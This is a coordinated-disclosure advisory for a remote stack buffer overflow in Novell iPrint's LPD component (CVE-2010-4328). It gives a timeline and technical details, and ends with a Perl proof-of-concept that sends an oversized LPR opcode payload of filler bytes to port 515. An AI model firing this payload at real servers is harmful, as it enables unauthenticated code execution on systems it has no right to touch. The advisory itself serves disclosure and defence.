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Application:   Novell Iprint LPD Remote Code Execution Vulnerability

Platforms:   Linux

Exploitation:   Remote code execution

CVE Number:   CVE-2010-4328  

Novell TID: 7007858.

ZDI:  ZDI-11-087

{PRL}:   2011-01

Author:   Francis Provencher (Protek Research Lab's)

Blog:   http://www.protekresearchlab.com/


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1) Introduction
2) Report Timeline
3) Technical details
4) The Code


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===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts.

The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare;

identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software development.

Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing

model and changed computing worldwide. Today, a primary focus of the company is on developing open source software

for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

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============================
2) Report Timeline
============================

2010-12-01 - Vulnerability reported to vendor
2011-02-16 - Coordinated public release of advisory


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============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell iPrint Server.

Authentication is not required to exploit this vulnerability.

The flaw exists within the '/opt/novell/iprint/bin/ipsmd' component this component communicates with

'ilprsrvd' which listens on TCP port 515. When handling multiple LPR opcodes the process blindly copies user supplied data

into a fixed-length buffer on the stack. A remote attacker can exploit this vulnerability to execute arbitrary code

under the context of the iprint user.


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===========
4) POC
===========

#!/usr/bin/perl



use Getopt::Std;
use IO::Socket::INET;

$SIG{INT}  = \&abort;

my $host  = '10.102.3.79';
my $port  = 515;
my $proto = 'tcp';
my $sockType = SOCK_STREAM;
my $timeout = 1;


my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {
    usage()
}

my @commands = (
{Command => 'Send',
 Data => "\x01\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x44\x43\x42\x41\x0a"},

);

my $sock = new IO::Socket::INET (	
                PeerAddr => $host,
				        PeerPort => $port, 
				        Proto => $proto,
                Type => $sockType,
                Timeout => $timeout,
            ) 
    or die "socket error: $!\n\n";

print "connected to: $host:$port\n";

$sock->autoflush(1);
binmode $sock;


foreach my $command (@commands)
{
    if ($command->{'Command'} eq 'Receive')
    {
        my $buf = receive($sock, $timeout);
        if (length $buf)
        {
            print "received: [$buf]\n";
        }
    }
    elsif ($command->{'Command'} eq 'Send')
    {
        print "sending: [".$command->{'Data'}."]\n";
        send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";
    }
}


close ($sock);